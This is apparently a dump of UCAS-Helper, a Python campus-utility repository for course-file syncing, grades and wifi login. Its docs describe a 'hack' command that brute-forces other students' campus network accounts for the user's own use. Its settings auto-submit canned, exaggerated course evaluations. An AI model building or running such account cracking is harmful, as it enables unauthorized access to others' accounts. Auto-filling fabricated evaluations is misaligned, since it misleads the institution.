48 | - [1.5.1] 修复下载全部课程资源时没有打开文件目录的选项问题,当无更新的时候自动退出应用
49 |
50 | - [1.5.0] 具体如下:
51 |
52 | - 课程资源同步后有新的资源时会提示是否开启资源所在目录,简便查看文件操作,如下:
53 | 
54 | - 允许添加不希望被同步的课程内容:在同步所有的时候有一门课的资源并没什么卵用,但为了一门而去一个个同步其他的又略显麻烦,因此添加了一个`FILTER_LIST`,存放不想被同步的课程目录。打开`settings.py`,找到`FILTER_LIST`,将不想被同步的课程全名(如`没啥用课19-20春季`),添加到列表当中,如下:
55 | 
56 |
57 | - 新版本在同步更新完成后会自动退出,不需要再手动退出程序
58 |
59 | - [1.4.3]修复了当同时存在多个文件夹和文件时不会下载与文件夹同目录的文件的问题,如下图所示:
60 | 
61 |
62 | - [1.4.2] 解决了当课程网站存在文件夹时无法获取到课程资源同步的问题,一开始并未考虑到老师创建文件夹
63 |
64 | - [1.4.1] 在课程资源选项中可以选择仅同步某个学期(春季,夏季,秋季)课程
--------------------------------------------------------------------------------
/docs/functions.md:
--------------------------------------------------------------------------------
1 | 功能介绍
2 | =================
3 |
4 | * [课程资源同步](#课程资源同步)
5 | * [wifi登录与破解](#wifi登录与破解)
6 | * [课程评估](#课程评估)
7 | * [分数查询](#分数查询)
8 |
9 | # 课程资源同步
10 | 国科大的课程网站在高校中已经算是很便利的了,老师可以发布ppt或其他课程资源到网站上,学生可以登录课程网站下载需要的资源,但唯一让我感觉不爽的就是每个资源(如ppt),只能一个个单独下载,没有批量下载的选项。另一方面,每次网站发布了新的资源,我都要登录课程网站一个个点,真的心累。要是有个脚本可以直接将我本地的课程资源,与课程网站一键同步就好了。所以就写了一个可用自动同步所有课程资源到本地的项目。
11 |
12 | > 现在可以按照学期同步自己需要的资源,而不用将之前学期的一并同步
13 |
14 | # wifi登录与破解
15 | 提供了自动登录的功能,且允许添加多个账号,当一个账号流量使用完后,可用下一个账号自动登录,每月自动更新。出于隐私保护,项目不直接提供爆破的账号密码信息(以防被外来人员利用),在校学生可参考**5.部署使用**,破解新的账号。
16 | > 爆破需在校园网环境下,请确保你已正确连接校园网(建议有线)且未登录校园网。
17 | 爆破时间较长(慢的时候2-3个小时),因此建议晚上睡觉的时候开启,
18 | 早上的时候一般已经爆破完成1-2个账号。
19 |
20 | - 校园网对单个设备登录有限制,因此多进程的速度与单进程差别不大
21 | - 一个账号流量有25GB,因此一般破解1-2个账号加上自己的就够个人使用了
22 | - 对于破解的账号,请**不要修改密码**,方便自己也方便他人:)
23 | - 当然你也可以直接找要好的师兄师姐,借用他们的账号添加到accounts.json中,
24 | 省时省力QAQ
25 | - 破解的账号都是往年的已经离开雁栖湖回所的师兄师姐的!
26 | **请不要利用本项目对还在雁栖湖上课的同学的账号进行破解!!!**
27 |
28 | # 课程评估
29 | 新增了课程评估的功能,在主界面中选择4即可进行课程评估,评估的等级默认选择5,因为会用脚本评估的大多是怕麻烦的人,如果有个别老师或课程让你觉得十分不靠谱,根本无益,建议还是手动去修改下对应的评估,虽然不知道是否真的对教改有用,起码得让那课程老师心里有点数呀~
30 | > 评估之前请进入`settings.py`修改一下主观评估的内容,别都和我评估一样了喂~
31 |
32 | 
33 |
34 | # 分数查询
35 | 分数查询功能重新上线!现在可以在程序主页选择功能5(query grades)来查询自己的所有成绩,显示效果如下:
36 |
37 | 
--------------------------------------------------------------------------------
/docs/usage.md:
--------------------------------------------------------------------------------
1 | 使用教程
2 | =================
3 |
4 | * [使用前提](#使用前提)
5 | * [部署项目](#部署项目)
6 | * [自动部署](#自动部署)
7 | * [手动部署](#手动部署)
8 | * [修改配置](#修改配置)
9 | * [运行项目](#运行项目)
10 | * [更新项目](#更新项目)
11 |
12 |
13 | # 使用前提
14 | 项目采用python语言编写,需要你本地装有python3环境(建议python3.5+),如果采用`git`方式克隆,需先安装好`git`
15 |
16 | # 部署项目
17 | 提供两种部署使用方法:`自动化部署`(懒人推荐)和`手动部署`,前者在`windows`环境下要求安装`git`,采用`git`提供的终端(需要用到`shell`命令,`windows`cmd不支持)。
18 | > 注意:推荐采用`git clone`的方式部署项目到本地,这样在后续有更新的时候可以直接通过git命令更新项目
19 |
20 | ## 自动部署
21 | > 注意:如果选择采用虚拟环境,请确保`mkvirtualenv`命令可用。
22 |
23 | - 已安装`git`,在`git bash`终端执行
24 | ```text
25 | git clone --depth 1 https://github.com/GentleCP/UCAS-Helper.git && cd UCAS-Helper && pip install -r requirements.txt
26 | ```
27 | > 如果使用`pip3`,自行替换`pip`
28 |
29 | ## 手动部署
30 | 1. 下载源代码压缩包或下载`realease`版本代码(推荐) 并解压
31 | 2. 进入项目目录安装依赖包
32 | ```text
33 | pip install -r requirements.txt # 强烈建议使用虚拟环境
34 | conda env create -f environment.yml # 如果采用conda环境
35 | ```
36 |
37 | # 修改配置
38 | - 配置方式1:运行`python ucashelper config`(仅支持`linux,mac`平台,不支持`windows`)来启动配置引导程序,这会引导你设置用户信息和资源存储路径
39 | - 配置方式2:当你无法通过上述命令进行配置时,你也可以手动更改`conf/user_config.ini`,补充用户信息和资源存储路径信息
40 |
41 | - 登录wifi*(可选):如果你需要自动校园wifi登录(包括多个账户自动切换),需要配置`accounts.json`
42 | ```text
43 | {
44 | "useful_accounts": [
45 | {
46 | "stuid":"xxx",
47 | "pwd":"xxx"
48 | },
49 | {
50 | "stuid":"xxx",
51 | "pwd":"xxx"
52 | }
53 |
54 | ],
55 | "useless_accounts": [],
56 | "current_month": 12
57 | }
58 | ```
59 | > 每个账号一个,允许存储多个账号,当遇到一个账号流量不够的时候自动切换到下一个账号登录
60 |
61 |
62 | # 运行项目
63 |
64 | 当确认配置信息修改完毕后,可以在终端或cmd下通过执行`python ucashelper.py ui`来启动小白操作窗口,同时也可以根据需要直接在命令行传入不同参数执行相应的操作,具体如下:
65 |
66 | ```text
67 | python ucashelper.py --help # 查看命令使用帮助,直接运行python ucashelper.py 效果等同
68 | python ucashelper.py ui # 小白操作窗口
69 | python ucashelper.py config # 引导配置,不支持windows
70 |
71 | python ucashelper.py down # 下载课程资源
72 | python ucashelper.py grade # 查看成绩
73 | python ucashelper.py hack # 破解wifi账号
74 | python ucashelper.py login # 登录校园网,确保在校园网环境下未登录情况执行
75 | python ucashelper.py logout # 登出校园网
76 | python ucashelper.py assess # 自动评教,评教内容在settings.py中设置
77 | ```
78 |
79 | # 更新项目
80 | 在`UCAS-Helper`项目根目录下执行以下命令
81 | ```
82 | git stash && git fetch --all && git merge && git stash pop
83 | ```
84 |
85 |
--------------------------------------------------------------------------------
/handler/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # -*- coding: utf-8 -*-
3 | """
4 | -----------------File Info-----------------------
5 | Name: __init__.py.py
6 | Description:
7 | Author: GentleCP
8 | Email: 574881148@qq.com
9 | WebSite: https://www.gentlecp.com
10 | Create Date: 2021-01-07
11 | -----------------End-----------------------------
12 | """
--------------------------------------------------------------------------------
/handler/configer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # -*- coding: utf-8 -*-
3 | """
4 | -----------------File Info-----------------------
5 | Name: configer.py
6 | Description: 初始配置器,引导配置
7 | Author: GentleCP
8 | Email: 574881148@qq.com
9 | WebSite: https://www.gentlecp.com
10 | Create Date: 2021-01-11
11 | -----------------End-----------------------------
12 | """
13 |
14 | import npyscreen as nps
15 |
16 |
17 | from settings import USER_CONFIG_PATH
18 | from handler.exception import ExitStatus
19 | from util.functions import get_cfg
20 |
21 | WELCOME_DIALOG = ('Welcome to the UCAS Helper Config setting panel.\n\n'
22 | 'It will store your personal user information into local file:\'{}\'\n'
23 | 'Please select \'ok\' if you agree.'.format(USER_CONFIG_PATH))
24 |
25 |
26 | class UCASHelperConfigMenu(nps.Form):
27 | EXTRA_KWARGS = []
28 |
29 | def __init__(self, *args, **keywords):
30 | self.next_form = keywords.get('next_form')
31 | self.action_on_ok = keywords.get('action_on_ok')
32 |
33 | [setattr(self, key, keywords.get(key)) for key in self.__class__.EXTRA_KWARGS]
34 |
35 | super(nps.Form, self).__init__(*args, **keywords)
36 | if self.name is None:
37 | self.name = 'UCAS-Helper configuration settings'
38 |
39 |
40 | class UCASHelperConfigAF(nps.ActionFormV2, UCASHelperConfigMenu):
41 | OK_BUTTON_BR_OFFSET = (2, 14)
42 | CANCEL_BUTTON_BR_OFFSET = (2, 6)
43 |
44 | EXTRA_KWARGS = ['exit_on_cancel', 'action_on_ok']
45 |
46 | def on_ok(self):
47 | if self.action_on_ok:
48 | self.action_on_ok()
49 | if self.next_form:
50 | self.parentApp.setNextForm(self.next_form)
51 | else:
52 | exit(ExitStatus.OK)
53 |
54 | def on_cancel(self):
55 | if self.exit_on_cancel:
56 | exit(ExitStatus.OK)
57 | else:
58 | self.parentApp.setNextFormPrevious()
59 |
60 |
61 |
62 | class UCASHelperConfigWarning(UCASHelperConfigAF):
63 | OK_BUTTON_TEXT = "OK"
64 | CANCEL_BUTTON_TEXT = "EXIT"
65 |
66 | EXTRA_KWARGS = UCASHelperConfigAF.EXTRA_KWARGS + ['text']
67 |
68 | def create(self):
69 | self.add(nps.Pager, values=self.text.split('\n'),
70 | autowrap=True, editable=False)
71 |
72 |
73 | class UCASHelperConfigWarningPopup(nps.ActionPopup, UCASHelperConfigWarning):
74 | ''' Displays a warning as popup '''
75 | pass
76 |
77 |
78 | class UCASHelperConfig(UCASHelperConfigAF):
79 | """
80 | The basic class of Config, other configuration classes inherit from it
81 | """
82 | OK_BUTTON_TEXT = "OK"
83 | CANCEL_BUTTON_TEXT = "BACK"
84 |
85 | EXTRA_KWARGS = UCASHelperConfigAF.EXTRA_KWARGS + ['user_config_path', 'cfg', 'section']
86 |
87 | def create(self):
88 | pass
89 |
90 |
91 | def on_ok(self):
92 | if not self.input_texts:
93 | self.input_texts = {}
94 | if not self.cfg.has_section(self.section):
95 | self.cfg.add_section(self.section)
96 |
97 | if self.input_texts.keys():
98 | for key, value in self.input_texts.items():
99 | if value:
100 | self.cfg.set(self.section, key, value)
101 | self.cfg.write(open(self.user_config_path, 'w'))
102 | super().on_ok()
103 |
104 |
105 |
106 | class UCASHelperUserInfoConfig(UCASHelperConfig):
107 | """
108 | User Info config,Required
109 | """
110 | TIPs = '【Required】Enter your user info which is used to login sep website.'
111 |
112 | def create(self):
113 | super().create()
114 | self.add(nps.TitleText, name=self.__class__.TIPs, autowrap=True, editable=False)
115 | self.username = self.add(nps.TitleText, name='username')
116 | self.password = self.add(nps.TitlePassword, name='password')
117 |
118 | def on_ok(self):
119 | self.input_texts = {
120 | 'username': self.username.value,
121 | 'password': self.password.value
122 |
123 | }
124 | super().on_ok()
125 |
126 |
127 | class UCASHelperDownloadConfig(UCASHelperConfig):
128 | """
129 | Download Resources Config, Optional
130 | """
131 |
132 | TIPs = ('【Optional】Enter the path where you want to store the course resources.(e.g. `D:/UCAS-resources`)\n')
133 |
134 | def create(self):
135 | super().create()
136 | self.add(nps.TitleText, name=self.__class__.TIPs, autowrap=True, editable=False)
137 | self.resource_path = self.add(nps.TitleText, name='resource path')
138 |
139 |
140 | def on_ok(self):
141 | self.input_texts = {
142 | 'resource_path': self.resource_path.value
143 | }
144 | super().on_ok()
145 |
146 |
147 | class UCASHelperConfigApp(nps.NPSAppManaged):
148 |
149 | STARTING_FORM = 'WelcomeDialog'
150 |
151 |
152 | def onStart(self):
153 | user_cfg = get_cfg(config_path=USER_CONFIG_PATH)
154 | self.addForm('WelcomeDialog', UCASHelperConfigWarningPopup,
155 | text=WELCOME_DIALOG, exit_on_cancel=True,
156 | next_form='UserInfoConfig',
157 | )
158 | self.addForm('UserInfoConfig', UCASHelperUserInfoConfig,
159 | user_config_path=USER_CONFIG_PATH,
160 | cfg=user_cfg,
161 | section='user_info',
162 | next_form='DownloadConfig',
163 | exit_on_cancel=False
164 | )
165 | self.addForm('DownloadConfig', UCASHelperDownloadConfig,
166 | user_config_path=USER_CONFIG_PATH,
167 | cfg=user_cfg,
168 | section='course_info',
169 | exit_on_cancel=False)
170 |
171 |
172 | if __name__ == '__main__':
173 | UCASHelperConfigApp().run()
--------------------------------------------------------------------------------
/handler/exception.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | -----------------Init-----------------------
4 | Name: exception.py
5 | Description:
6 | Author: GentleCP
7 | Email: 574881148@qq.com
8 | WebSite: https://www.gentlecp.com
9 | Date: 2020-08-31
10 | -------------Change Logs--------------------
11 |
12 |
13 | --------------------------------------------
14 | """
15 | from enum import IntEnum
16 |
17 | class ExitStatus(IntEnum):
18 |
19 | OK = 200
20 | CONFIG_ERROR = 401
21 | NETWORK_ERROR = 404
22 | UNKNOW_ERROR = 500
23 |
24 | class ConfigReadError(Exception):
25 | pass
26 |
27 |
28 | class BackToMain(Exception):
29 | pass
30 |
31 | class WifiError(Exception):
32 | pass
33 |
34 | class HttpError(Exception):
35 | pass
36 |
--------------------------------------------------------------------------------
/handler/logger.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # -*- coding: utf-8 -*-
3 | """
4 | -----------------File Info-----------------------
5 | Name: logger.py
6 | Description: 日志处理
7 | Author: GentleCP
8 | Email: 574881148@qq.com
9 | WebSite: https://www.gentlecp.com
10 | Create Date: 2021-01-07
11 | -----------------End-----------------------------
12 | """
13 |
14 | import os
15 | import logging
16 | import platform
17 | from pathlib import Path
18 |
19 | from logging.handlers import TimedRotatingFileHandler
20 |
21 | # 日志级别
22 | CRITICAL = 50
23 | FATAL = CRITICAL
24 | ERROR = 40
25 | WARNING = 30
26 | WARN = WARNING
27 | INFO = 20
28 | DEBUG = 10
29 | NOTSET = 0
30 |
31 | path = Path()
32 |
33 | CURRENT_PATH = path.resolve(__file__)
34 | ROOT_PATH = CURRENT_PATH.parent
35 | LOG_PATH = CURRENT_PATH.joinpath('log')
36 |
37 | if not os.path.exists(LOG_PATH):
38 | try:
39 | os.mkdir(LOG_PATH)
40 | except FileExistsError:
41 | pass
42 |
43 | class LogLevelSetError(Exception):
44 | pass
45 |
46 |
47 | class LogHandler(logging.Logger):
48 | """
49 | LogHandler
50 | """
51 |
52 | def __init__(self, name, level=INFO, stream=True, file=True):
53 | self._name = name
54 | self._level = level
55 | logging.Logger.__init__(self, self._name, level=level)
56 | if stream:
57 | self.__setStreamHandler__()
58 | if file:
59 | if platform.system() != "Windows":
60 | self.__setFileHandler__()
61 |
62 |
63 | @property
64 | def name(self):
65 | return self._name
66 |
67 |
68 | @name.setter
69 | def name(self, name):
70 | self._name = name
71 |
72 |
73 | @property
74 | def level(self):
75 | return self._level
76 |
77 | @level.setter
78 | def level(self, level):
79 | if level in [DEBUG, INFO, WARNING, CRITICAL, ERROR]:
80 | self._level = level
81 | else:
82 | raise LogLevelSetError("Can not set the log level as:{}".format(level))
83 |
84 |
85 | def __setFileHandler__(self, level=None):
86 | """
87 | set file handler
88 | :param level:
89 | :return:
90 | """
91 | file_name = os.path.join(LOG_PATH, '{name}.log'.format(name=self._name))
92 | # 设置日志回滚, 保存在log目录, 一天保存一个文件, 保留15天
93 | file_handler = TimedRotatingFileHandler(filename=file_name, when='D', interval=1, backupCount=15)
94 | file_handler.suffix = '%Y%m%d.log'
95 | if not level:
96 | file_handler.setLevel(self._level)
97 | else:
98 | file_handler.setLevel(level)
99 | formatter = logging.Formatter('%(asctime)s %(filename)s-[line:%(lineno)d] 【%(levelname)s】 %(message)s')
100 |
101 | file_handler.setFormatter(formatter)
102 | self.file_handler = file_handler
103 | self.addHandler(file_handler)
104 |
105 | def __setStreamHandler__(self, level=None):
106 | """
107 | set stream handler
108 | :param level:
109 | :return:
110 | """
111 | stream_handler = logging.StreamHandler()
112 | formatter = logging.Formatter('%(asctime)s %(filename)s-[line:%(lineno)d] 【%(levelname)s】 %(message)s')
113 | stream_handler.setFormatter(formatter)
114 | if not level:
115 | stream_handler.setLevel(self._level)
116 | else:
117 | stream_handler.setLevel(level)
118 | self.addHandler(stream_handler)
119 |
120 |
121 | if __name__ == '__main__':
122 | log = LogHandler('test')
123 | log.info('this is a test msg')
--------------------------------------------------------------------------------
/handler/new_ui.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # -*- coding: utf-8 -*-
3 | """
4 | -----------------File Info-----------------------
5 | Name: new_ui.py
6 | Description: 全新的交互界面,提供另一种使用体验
7 | Author: GentleCP
8 | Email: 574881148@qq.com
9 | WebSite: https://www.gentlecp.com
10 | Create Date: 2021-01-11
11 | -----------------End-----------------------------
12 | """
13 |
14 |
--------------------------------------------------------------------------------
/handler/ui.py:
--------------------------------------------------------------------------------
1 | # @Author : GentleCP
2 | # @Email : 574881148@qq.com
3 | # @File : ui.py
4 | # @Item : PyCharm
5 | # @Time : 2019/11/28/028 14:00
6 | # @WebSite : https://www.gentlecp.com
7 |
8 | import time
9 | import requests
10 | import os
11 | import configparser
12 | import json
13 |
14 | from core.assess import Assesser
15 | from core.grade import GradeObserver
16 | from core.download import Downloader
17 | from handler.exception import BackToMain, ExitStatus
18 | from core.wifi import WifiLoginer,WifiError
19 | from handler.logger import LogHandler
20 | from util.functions import get_cfg
21 |
22 |
23 | import settings
24 |
25 |
26 | WELCOME_MESSAGE = """
27 | *********************************************************************************
28 | ** # # ### # ### # # ### # ### ### #### **
29 | ** # # # # # # # # # # # # # # # **
30 | ** # # # # # #### #### ### # ### ### #### **
31 | ** # # # ####### # # # # # # # # # **
32 | ** ### ### ## ## ### # # ### ##### # ### # # **
33 | ** copyright@GentleCP **
34 | ** version:{tag} **
35 | ** github: https://github.com/GentleCP/UCASHelper **
36 | ** 1:course sources download **
37 | ** 2:wifi login **
38 | ** 3:wifi logout **
39 | ** 4:course assess **
40 | ** 5:query grades **
41 | ** q:exit **
42 | *********************************************************************************
43 | """
44 |
45 |
46 | class Init(object):
47 | """
48 | 用于检查一切配置信息是否合理正确
49 | """
50 |
51 | def __init__(self,
52 | welcome_msg,
53 | record_path='../conf/record.ini',
54 | *args,**kwargs):
55 | self._logger = LogHandler("Init")
56 | self._welcome_msg = welcome_msg
57 |
58 | self._record_path = record_path
59 | self._cfg = get_cfg(config_path=self._record_path)
60 |
61 | self._name_of_update_section = 'update_info'
62 | self._name_of_update_time = 'last_update_time' # 记录上次更新的时间
63 | self._name_of_tag = 'tag' # 当前版本号
64 |
65 | # update api info
66 | self.__update_info_api = "https://api.github.com/repos/GentleCP/UCAS-Helper"
67 | self.__latest_tag_api = "https://api.github.com/repos/GentleCP/UCAS-Helper/tags"
68 |
69 | self._wifiLoginer = WifiLoginer(accounts_path=settings.ACCOUNTS_PATH)
70 | self._downloader = Downloader(
71 | urls=settings.URLS,
72 | user_config_path=settings.USER_CONFIG_PATH,
73 | filter_list=settings.FILTER_LIST)
74 |
75 | self._assesser = Assesser(
76 | user_config_path=settings.USER_CONFIG_PATH,
77 | urls=settings.URLS,
78 | assess_msgs=settings.ASSESS_MSG)
79 | self._gradeObserver = GradeObserver(
80 | user_config_path=settings.USER_CONFIG_PATH,
81 | urls=settings.URLS)
82 |
83 | def __get_tag(self):
84 | '''
85 | 从配置文件或在线获取当前版本号
86 | :return: tag, e.g. v2.3.1
87 | '''
88 | if not self._cfg.has_section(self._name_of_update_section):
89 | self._cfg.add_section(self._name_of_update_section)
90 | try:
91 | local_tag = self._cfg.get(self._name_of_update_section, self._name_of_tag)
92 | except configparser.NoOptionError:
93 | self._logger.info('getting latest tag')
94 | return json.loads(requests.get(self.__latest_tag_api).text)[0].get('name')
95 | else:
96 | if not local_tag:
97 | self._logger.info('getting latest tag')
98 | return json.loads(requests.get(self.__latest_tag_api).text)[0].get('name')
99 | else:
100 | return local_tag
101 |
102 |
103 |
104 | def _show_welcome(self):
105 | '''
106 | :return:
107 | '''
108 | tag = self.__get_tag()
109 | print(self._welcome_msg.format(tag=tag))
110 |
111 |
112 | def __check_update(self):
113 | '''
114 | check the latest code from github repo api, if detect the new version, update the demo
115 | :return: {}, if need update, return True and latest_update_time, else return False
116 | '''
117 | self._logger.info("Checking update...")
118 |
119 | try:
120 | latest_update_time = requests.get(self.__update_info_api).json()["updated_at"]
121 | latest_tag = json.loads(requests.get(self.__latest_tag_api).text)[0].get('name')
122 | except Exception:
123 | self._logger.error("checking update faild.")
124 | return {
125 | 'need_update':False
126 | }
127 | try:
128 | last_update_time = self._cfg.get(self._name_of_update_section, self._name_of_update_time)
129 | except (configparser.NoSectionError, configparser.NoOptionError) as e:
130 | self._logger.info("Available updates detected, start updating...")
131 | return {
132 | 'need_update':True,
133 | 'latest_update_time':latest_update_time,
134 | 'latest_tag': latest_tag
135 | }
136 | else:
137 | if latest_update_time == last_update_time:
138 | # already up to date
139 | self._logger.info("Already up to date.")
140 | return {
141 | 'need_update':False
142 | }
143 | else:
144 | self._logger.info("Available updates detected, start updating...")
145 | return {
146 | 'need_update': True,
147 | 'latest_update_time':latest_update_time,
148 | 'latest_tag': latest_tag
149 | }
150 |
151 |
152 | def _do_update(self):
153 | if not settings.ALLOW_AUTO_UPDATE:
154 | # not allow update
155 | return
156 | check_update_res = self.__check_update()
157 | if check_update_res['need_update']:
158 | # need to update
159 | try:
160 | os.system("git stash && git fetch --all && git merge && git stash pop")
161 | except KeyboardInterrupt:
162 | # update interrupt, nothing to do.
163 | self._logger.error("Update Interrupt by user.")
164 | else:
165 | # update complete, update the local update time.
166 | if not self._cfg.has_section(self._name_of_update_section):
167 | self._cfg.add_section(self._name_of_update_section)
168 |
169 | # update latest_update_time
170 | self._cfg.set(self._name_of_update_section,
171 | self._name_of_update_time,
172 | check_update_res['latest_update_time'])
173 | # update latest_tag
174 | self._cfg.set(self._name_of_update_section,
175 | self._name_of_tag,
176 | check_update_res['latest_tag'])
177 | self._cfg.write(open(self._record_path, 'w'))
178 | self._logger.info("Update compelte.")
179 |
180 |
181 | def _cmd(self):
182 | while True:
183 | time.sleep(0.1)
184 | option = input("输入你的操作:")
185 | if option == 'q':
186 | print("欢迎使用,下次再会~")
187 | exit(ExitStatus.OK)
188 |
189 | elif not (option.isdigit() and 1<=int(option)<=5) :
190 | self._logger.error("非法操作,请重新输入")
191 | else:
192 | option = int(option)
193 | if option == 1:
194 | try:
195 | self._downloader.run()
196 | except BackToMain:
197 | pass
198 |
199 | elif option == 2:
200 | try:
201 | self._wifiLoginer.login()
202 | except WifiError:
203 | pass
204 |
205 | elif option == 3:
206 | try:
207 | self._wifiLoginer.logout()
208 | except WifiError:
209 | pass
210 |
211 | elif option == 4:
212 | self._assesser.run()
213 |
214 | elif option == 5:
215 | self._gradeObserver.run()
216 |
217 |
218 | def run(self):
219 | self._show_welcome()
220 | self._do_update()
221 | self._cmd()
222 |
223 |
224 | def main(*args, **kwargs):
225 | init = Init(welcome_msg=WELCOME_MESSAGE, *args, **kwargs)
226 | init.run()
227 |
228 |
229 | if __name__ == "__main__":
230 | main()
231 |
--------------------------------------------------------------------------------
/img/1-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1-1.png
--------------------------------------------------------------------------------
/img/1-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1-2.png
--------------------------------------------------------------------------------
/img/1-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1-3.png
--------------------------------------------------------------------------------
/img/1-4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1-4.png
--------------------------------------------------------------------------------
/img/1.5.0-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1.5.0-1.png
--------------------------------------------------------------------------------
/img/1.5.0-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1.5.0-2.png
--------------------------------------------------------------------------------
/img/1.6.0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1.6.0.png
--------------------------------------------------------------------------------
/img/1.7.0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1.7.0.png
--------------------------------------------------------------------------------
/img/2-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/2-1.png
--------------------------------------------------------------------------------
/img/3-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/3-1.png
--------------------------------------------------------------------------------
/img/4-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/4-1.png
--------------------------------------------------------------------------------
/img/5-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/5-1.png
--------------------------------------------------------------------------------
/img/5-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/5-2.png
--------------------------------------------------------------------------------
/img/fix_1.4.3-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/fix_1.4.3-1.png
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | beautifulsoup4>=4.10.0
2 | click>=8.0.3
3 | npyscreen>=4.10.5
4 | Pillow>=8.4.0
5 | prettytable>=2.4.0
6 | requests>=2.26.0
7 | tqdm>=4.62.3
8 | ddddocr>=1.0.6
9 | pycryptodome
10 | lxml>=4.8.0
--------------------------------------------------------------------------------
/settings.py:
--------------------------------------------------------------------------------
1 | # @Author : GentleCP
2 | # @Email : me@gentlecp.com
3 | # @File : settings.py
4 | # @Item : PyCharm
5 | # @Time : 2019-11-18 15:48
6 | # @WebSite : https://blog.gentlecp.com
7 |
8 |
9 |
10 | # Note:用户信息与课程资源存储目录配置已转移到conf/user_config.ini中,请将配置信息填写在那里
11 |
12 |
13 | #------------------------由用户决定的配置信息-----------------------------------
14 | ALLOW_AUTO_UPDATE = False # 自动更新存在问题,请勿使用
15 |
16 | # 根据你个人喜好修改评估的内容
17 | ASSESS_MSG = [
18 | '这门课讲的真是太好了,我简直没有其他言语可以形容它!!!!', # 这门课我最喜欢什么
19 | '我认为这门课做的很好了,课程内容一级棒!!!!!!', # 我认为本课程应从哪些方面需要进一步改进和提高?
20 | '我平均每周都认认真真准备这门课的内容,每天超过4小时!!!', # 我平均每周在这门课程上花费多少小时?
21 | '我对这个学科领域兴趣甚厚,有如滔滔江水,连绵不绝!!!!', # 在参与这门课之前,我对这个学科领域兴趣如何
22 | '我每周都认认真真上课,生怕错过任何一堂课,在课堂上积极发言,踊跃举手,是全班的表率!!!!', # 我对该课程的课堂参与度(包括出勤、回答问题等)
23 | '我觉得这个老师讲课十分有趣,课堂氛围十分活跃,是我喜欢的地方!', # 这位老师的教学,你最喜欢什么?
24 | '老师简直完美,我对老师的敬仰犹如滔滔江水,连绵不绝!!!!' # 您对老师有哪些意见和建议?
25 | ]
26 |
27 |
28 | # 不希望同步的课程内容,多个之间逗号隔开,务必输入课程全称!
29 | FILTER_LIST = [
30 | '没啥卵用课-1 19-20春季',
31 | '有点卵用课-2 19-20春季',
32 | ]
33 | #------------------------由用户决定的配置信息-----------------------------------
34 |
35 |
36 |
37 | # ------------------后面的不要随意更改--------------
38 |
39 |
40 |
41 | # PATH info
42 | USER_CONFIG_PATH = 'conf/user_config.ini'
43 | RECORD_PATH = 'conf/record.ini' # 保存一些程序运行完毕后需要持久化存储到本地的信息
44 | ACCOUNTS_PATH = 'accounts.json'
45 |
46 | # USLs that used for request
47 | URLS = {
48 | 'home_url':{
49 | 'http':'http://onestop.ucas.ac.cn/',
50 | 'https':'https://onestop.ucas.ac.cn/'
51 | },
52 | 'bak_home_url':{
53 | 'http': 'http://sep.ucas.ac.cn/',
54 | 'https': 'https://sep.ucas.ac.cn/'
55 | },
56 | 'base_url':{
57 | 'http':'http://jwxk.ucas.ac.cn',
58 | 'https':'https://jwxk.ucas.ac.cn',
59 | },
60 | 'login_url': {
61 | 'http':'http://onestop.ucas.ac.cn/Ajax/Login/0',
62 | 'https':'https://onestop.ucas.ac.cn/Ajax/Login/0'
63 | },
64 | 'bak_login_url':{
65 | 'http': 'http://sep.ucas.ac.cn/slogin',
66 | 'https': 'https://sep.ucas.ac.cn/slogin'
67 | },
68 | 'logout_url': {
69 | 'http':'http://sep.ucas.ac.cn/logout?o=platform',
70 | 'https':'https://sep.ucas.ac.cn/logout?o=platform',
71 | },
72 | 'course_info_url': {
73 | 'http':'http://sep.ucas.ac.cn/portal/site/16/801',
74 | 'https':'https://sep.ucas.ac.cn/portal/site/16/801',
75 | },
76 | 'grade_url':{
77 | 'http':'http://jwxk.ucas.ac.cn/score/yjs/all',
78 | 'https':'http://jwxk.ucas.ac.cn/score/yjs/all',
79 | },
80 | 'view_url':{
81 | 'http':'http://jwxk.ucas.ac.cn/notice/view/1',
82 | 'https':'https://jwxk.ucas.ac.cn/notice/view/1',
83 | },
84 | 'course_select_url': {
85 | 'http':'http://sep.ucas.ac.cn/portal/site/226/821',
